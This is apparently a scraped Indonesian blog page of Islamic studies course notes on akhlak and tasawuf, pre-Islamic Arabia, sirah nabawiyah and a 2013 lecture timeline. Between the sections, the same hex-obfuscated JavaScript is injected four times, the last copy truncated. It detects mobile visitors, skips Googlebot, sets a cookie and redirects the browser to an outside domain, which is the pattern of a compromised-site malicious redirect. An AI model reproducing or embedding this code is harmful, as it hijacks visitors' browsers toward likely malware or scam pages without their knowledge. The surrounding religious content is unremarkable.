Materi Akhlak Tasawuf

Pengertian
Pengertian Akhlak:• Secara bahasa akhlak berasal dari kata اخلق – يخلق – اخلاقا artinya perangai, kebiasaan, watak, peradaban yang baik, agama. Kata akhlak sama dengan kata khuluq.
Dasarnya adalah:
1. QS. Al- Qalam: 4: وانك لعلى خلق , عظيم2. QS. Asy-Syu’ara: 137: ان هذا الا خلق الاولين 3.
Hadis :انما بعثت لاتمم مكارم الاخلاق
• Menurut Istilah, akhlak adalah:
1. Ibnu Miskawaih: sifat yang tertanam dalam jiwa yang mendorongnya untuk melaksanakan perbuatan tanpa memerlukan pemikiran danpertimbangan.
2. Imam Ghazali: sifat yang tertanam dalam jiwa yang menimbulkan macam-macam perbuatan yang mudah, tanpa memerlukan pemikiran dan pertimbangan.

Pengertian Tasawuf:
• Secara bahasa tasawuf berarti:- saf (baris), sufi (suci), sophos (Yunani: hikmah), suf (kain wol)- sikap mental yang selalu memelihara kesucian diri, beribadah, hidup sederhana, rela berkorban untuk kebaikan dan bersikap bijaksana.
• Menurut Istilah:
1. Upaya mensucikan diri dengan cara menjauhkan pengaruh kehidupan dunia dan memusatkan perhatian hanya kepada Allah Swt.
2. Kegiatan yang berkenaan dengan pembinaan mental ruhaniah agar selalu dekat dengan Tuhan.

Hubungan Akhlak dengan Tasawuf:
Akhlak dan Tasawuf saling berkaitan. Akhlak dalam pelaksanaannya mengatur hubungan horizontal antara sesama manusia, sedangkan tasawuf mengatur jalinan komunikasi vertical antara manusia dengan Tuhannya. Akhlak menjadi dasar dari pelaksanaan tasawuf, sehingga dalam prakteknya tasawuf mementingkan akhlak.

Ruang Lingkup
Ruang lingkup Kajian Ilmu Akhlak:Perbuatan-perbuatan manusia menurut ukuran baik dan buruk.Objeknya adalah norma atau penilaian terhadap perbuatan tersebut.Perbuatan tersebut baik perbuatan individu maupun kolektif.
Kajian dalam Tasawuf bersumber pada:
1. Unsur Islam:- Al-Qur’an mengajarkan manusia untuk: mencintai Tuhan (QS. Al-Maidah: 54), bertaubah dan mensucikan diri (QS. At-Tahrim: 8), manusia selalu dalam pandangan Allah dimana saja (QS. Al-Baqarah: 110), Tuhan memberi cahaya kepada hamba-Nya (QS. An-Nur: 35), sabar dalam bertaqarrub kepada Allah (QS. Ali Imran:
2. Hadis Nabi : tentang rahasia penciptaan alam adalah agar manusia mengenal penciptanya, praktek para sahabat seperti Abu Bakar Ash-shiddiq, Umar Ibn Khattab, Usman Ibn Affan, Ali Ibn Abi Talib, Abu Zar Al-Ghiffari, Hasan Basri, dll.
3. Unsur Non Islam:
a. Nasrani: Cara kependetaan dalam hal latihan jiwa dan ibadah.
b. Yunani: Unsur filsafat tentang masalah ketuhanan.
c. Hindu/Budha: mujahadah, perpindahan roh dari satu badan ke badan yang lain.

Tujuan
Untuk taqorub kpd Allah – derajat taqwa
Mendapatkan derajat muttaqin di hadapan Allah
Untuk membersihkan jiwa dari hal-hal buruk
Mematuhi semua perintah Allah dan menjauhi semua larangan-Nya
Berusaha selalu berakhlakul karimah
Bersikap qanaah
Mengerjakan sesuatu dengan dasar ikhlas
Selalu mensyukuri nikmat yang diberikan Allah
Meneladani akhlak Rasulullah SAW.
Faedah tasawwuf ialah membersihkan hati agar sampai kepada ma’rifat terhadap Allah Ta’ala
var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

KEADAAN ARAB PRA ISLAM

Kondisi Politik
Secara global-teritorial, Arab merupakan negeri yang terletak di semenanjung Arab yang dikelilingi tiga lautan, yaitu Laut Merah di Barat, Samudera Hindia di Selatan, dan Teluk Persia di sebelah Timur. Letak geopolitik ini berdampak signifikan pada kondisi sosial bangsa Arab. Negeri Yaman misalnya, diperintah oleh bermacam-macam suku dan pemerintahan yang terbesar adalah masa pemerintahan Tababi’ah dari kabilah Himyar.
Di bagian Timur Jazirah Arab, dari kawasan Hirah hingga Iraq, yang ada hanya daerah-daerah kecil yang tunduk kepada kekuasaan Persia hingga datangnya Islam. Raja-raja Munadzirah sama sekali tidak berdiri sendiri dan tidak merdeka, tetapi tunduk secara politis di bawah kekuasaan raja-raja Persia. Bagian Utara Jazirah Arab sama dengan bagian Timur, karena di daerah itu juga tidak ada pemerintahan bangsa Arab yang murni dan merdeka. Semua raja di sini tunduk di bawah kekuasaan Romawi. Raja-raja Ghasasanah semuanya serupa dengan raja-raja Munadzirah.
Sementara itu, di Tengah Jazirah Arab, di mana terdapat tanah suci Mekkah dan sekitarnya, kaum Adnaniyyin menjadi penguasa yang independen, tidak dikuasai oleh Romawi, Persia, maupun Habasyah. Allah telah menjaga kehormatan tanah dan penduduk disana. Bahkan sejak masa imperialisme Barat yang menjajah dunia Islam, tak ada yang bisa menguasai negeri suci ini karena Allah telah menjaga kesuciannya.

Kondisi Ekonomi
Perekonomian bangsa Arab secara umum tidak bermakna apa-apa, kecuali negeri-negeri yang ada di daerah Yaman. Yaman adalah negeri yang subur, khususnya di sekitar bendungan Ma’rib, di mana pertanian maju secara pesat dan menakjubkan. Di masa itu juga telah berkembang industri, seperti industri kain katun dan persenjataan berupa pedang, tombak, dan baju besi. Akan tetapi, mereka tidak bersyukur dan justru berpaling dari ketaatan kepada Allah. Karena kekufuran itu, Allah pun menghancurkan bendungan Ma’rib itu.
Sementara itu, mayoritas kabilah Adnan tinggal di tengah gurun pasir dengan rumput yang sedikit untuk mengembala domba. Mereka hidup dari susu dan dagingnya. Sedangkan kaum Quraisy yang tinggal di tanah suci mengandalkan perekonomiannya dari berdagang. Pada musim dingin, mereka berduyun-duyun ke Yaman untuk berdagang. Dan ketika musim panas, mereka memilih Syam sebagai tujuan perdagangannya. Orang-orang Quraisy ini hidup dalam kemakmuran, berbeda dengan kabilah-kabilah lainnya yang rata-rata hidup susah dan menderita

Kondisi Sosial
Fase kehidupan bangsa Arab tanpa bimbingan wahyu Ilahi dan hidayah sangatlah panjang. Oleh sebab itu, di antara mereka banyak ditemukan tradisi yang sangat buruk. Berikut ini adalah contoh beberapa tradisi buruk masyarakat Arab Jahiliyah.
Perjudian atau maisir. Ini merupakan kebiasaan penduduk di daerah perkotaan di Jazirah Arab, seperti Mekkah, Thaif, Shan’a, Hijr, Yatsrib, dan Dumat al Jandal.
Minum arak (khamr) dan berfoya-foya. Meminum arak ini menjadi tradisi di kalangan saudagar, orang-orang kaya, para pembesar, penyair, dan sastrawan di daerah perkotaan.
Nikah Istibdha’, yaitu jika istri telah suci dari haidnya, sang suami mencarikan untuknya lelaki dari kalangan terkemuka, keturunan baik, dan berkedudukan tinggi untuk menggaulinya.
Mengubur anak perempuan hidup-hidup jika seorang suami mengetahui bahwa anak yang lahir adalah perempuan. Karena mereka takut terkena aib karena memiliki anak perempuan.
Membunuh anak-anak, jika kemiskinan dan kelaparan mendera mereka, atau bahkan sekedar prasangka bahwa kemiskinan akan mereka alami.
Ber-tabarruj (bersolek). Para wanita terbiasa bersolek dan keluar rumah sambil menampakkan kecantikannya, lalu berjalan di tengah kaum lelaki dengan berlengak-lenggok, agar orang-orang memujinya.
Lelaki yang mengambil wanita sebagai gundik, atau sebaliknya, lalu melakukan hubungan seksual secara terselubung.
Prostitusi. Memasang tanda atau bendera merah di pintu rumah seorang wanita menandakan bahwa wanita itu adalah pelacur.
Fanatisme kabilah atau kaum.
Berperang dan saling bermusuhan untuk merampas dan menjarah harta benda dari kaum lainnya. Kabilah yang kuat akan menguasai kabilah yang lemah untuk merampas harta benda mereka.
Orang-orang yang merdeka lebih memilih berdagang, menunggang kuda, berperang, bersyair, dan saling menyombongkan keturunan dan harta. Sedang budak-budak mereka diperintah untuk bekerja yang lebih keras dan sulit.
Jujur, pemberani, menepati janji, menghormati tamu,

Kondisi Agama/ Religi
Menurut Thaib Thahir Abdul Mu’in, hakikat ibadah penduduk Arab Jahiliyah adalah hasil dari salah satu dua perasaan, yaitu:
Perasaan yang salah terhadap sesuatu, karena hanya berdasarkan kepada pancaindera saja, seperti perasaan terhadap salah satu kekuatan yang ada di alam ini. Misalnya, perasaan orang Mesir kuno yang menganggap keistimewaan itu pada sapi, matahari, sungai Nil, dan sebagainya.
Perasaan inilah yang mendorong manusia ke arah kepercayaan yang salah. Tetapi meskipun salah, perasaan itu sangat membekas di dalam kehidupan masyarakat ketika itu. Bahkan bekas-bekas itu hingga kini masih terlihat di kalangan umat yang terbelakang
Berhala Wad atau Waddan, menjadi sesembahan kabilah Kalb,
Berhala Sua’ atau Sua’an, menjadi sesembahan kabilah Huzdail,
Berhala Yaghuts, menjadi sesembahan kabilah Bani Khuthaif,
Berhala Nasr, menjadi sesembahan kabilah Himyar.
Yahudi, Nasrani, Majusi dan Paganisme

Letak Geografis
Perbatasan pesisir jazirah ini ialah: di barat daya Laut Merah dan Teluk Aqabah; di tenggara Laut Arab; dan di timur laut Teluk Oman dan Teluk Persia. Secara geologi, daerah ini lebih tepat disebut Anak Benua Arab sebab memiliki plat tektonik tersendiri. Secara geografis, jazirah ini terdiri dari:
Plato tengah dengan padang rumput untuk ternak, dan lembah subur;
Cincin gurun, Nefud di utara, berbatu, Arab Besar, pelengkap Sahara, di selatan, berpasir, dikatakan sedalam 600 kaki, dan Dahna antara; dan
Terbentang dari tanah pesisir, umumnya subur di barat dan selatan.
Nasab dan Peradabannya
Kehidupan masyarakat terdiri atas turunan suku-suku yang hidup pada zaman sebelumnya. Sejarawan membagi ada 3 garis kesukuan yang berkembang biak dan menelurkan banyak bangsa di wilayah jazirah Arab. Yaitu:
Arab Ba’idah: arab terdahulu yg sudah tidak terlacak sejarahnya seperti kaum ‘Aad dan Tsamud. Mereka didengar dari informasi seperti dalam ayat Al Qur’an.
Arab Aribah disebut pula Arab Qahthaniyah. Merupakan keturunan Ya’rub Yasyjub bin Qahthan. Mereka berkembang di wilayah Yaman dengan dua kabilah yang berkembang ke berbagai wilayah.
Arab Musta’rabah dikenal juga sebagai Arab Adnaniyah. Yaitu keturunan Ismail bin Ibrahim as yang asalnya dari wilayah tepian sungai Eufrat di dekat Kufah.
var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

PENTINGNYA BELAJAR SIRAH NABAWIYAH

Tujuan mengkaji Sirah Nabawiyah adalah agar setiap Muslim memperoleh gambaran tentang hakekat Islam secara paripurna, yang tercermin di dalam kehiduapn Nabi Muhammad saw, sesudah ia dipahami secara konseptional sebagai prinsip, kaidah dan hukum
Memahami pribadi kenabisan Rasulullah saw melalui celah-celah kehidupan dan kondisi-kondisi yang pernah dihadapinya
Agar manusia menndapatkan gambaran al-Matsatl al A’la menyangkut seluruh aspek kehidupan yang utama untuk dijadikan undang-undang dan pedoman kehidupannya. Dan mendapatkan di dalam kehiduapn Rasulullah saw secara jelas dan sempurna. Sebagaimana firman Allah: „Sesungguhnya telah ada pada (diri) Rasulullah itu suri tauladan yang baik bagimu …“ QS al-Ahzab : 21
Agar manusia mendapatkan sesuatu yang dapat membawanya untuk memahami kitab Allah dan semangat tujuannya. Sebab, banyak ayat-ayat al-Quran yang baru bisa ditafsirkan dan dijelaskan maksudnya melalui peristiwa-peristiwa ynag pernah dihadapi Rasulullah saw dan disikapinya.
Mengumpulkan sekian banyak tsaqofah dan pengetahuan Islam yang benar, baik menyangkut aqidah, hukum ataupun akhlak. Sebab tak diragukan lagi bahwa kehiduapn Rasulullah saw merupakan gambaran yang konkret dari sejumlah prinsip dan hukum Islam
Agar setiap pembina dan da’i Islam memiliki contoh hidup menyangkut cara-cara pembinaan dan dakwah. Adalah Rasulullah saw seorang da’i pemberi nasehat dan pembina yang baik, yang tidak segan-segan mencari cara-cara pembinaan yang pendidikan terbaik selama beberapa periode dakwahnya.
var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Time line Sirah Nabawiyah

TIME LINE MATA KULIAH : Sirah Nabawiyah E & D ( PAI)
DOSEN : Dra.Hj. Maryatin, M.Pd
HARI/JAM/R :Rabu/ 3,4 &7,8 /K1 E2
TANGGAL URAIAN
05 September 2013 Pendahuluan dan kontrak belajar
12 September 2013 Arab Pra Islam
19 September 2013 Mekah , Ka’bah an kaum Quraisy
26 September 2013 Kelahiran dan Pengasuhan Nabi Muhhammad
03 Oktober 2013 Kehidupan Keluarga Muhammad
10 Oktober 2013 Kerasulan Muhammad dan tantangannya
17 Oktober 2013 Tahap-tahap dakwah nabi di mekah
24 Oktober 2013 Perjanjian Aqobah
28 Okt s/d 12 Nov UTS
14 November 2013 Peristiwa hijrah nabi
21 November 2013 Pembinaan Masyarakat Madinah
28 November 2013 Peperangan pada masa nabi melawan kaum Quraisy
05 Desember 2013 Peperangan pada masa nabi melawan kaum Yahudi
12 Desember 2013 Peperangan untuk perluasan wilayah
19 Desember 2013 Fathul Makkah
26 Desember 2013 Haji Wada
02 Januari 2014 Sakit dan waRasulullah
6 s/d 18 Januari ‘14 UAS

REFERENSI
1. Al Hamid Husaini. 1992. Riwayat Kehidupan Nabi Besar Muhammad SAW. Jakarta : Pustaka Hidayah
2. M. Husen Haekal. 1990. Sejarah Hidup Muhammad. Jakarta : Tintamas Indonesia
3. Munir al Ghodban, Menuju Jamaatul Muslimin,
4. Muhammad Said Ramadhon al-Buthy, Sirah Nabawiyah, Jakarta, ROBBANI PRE
var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 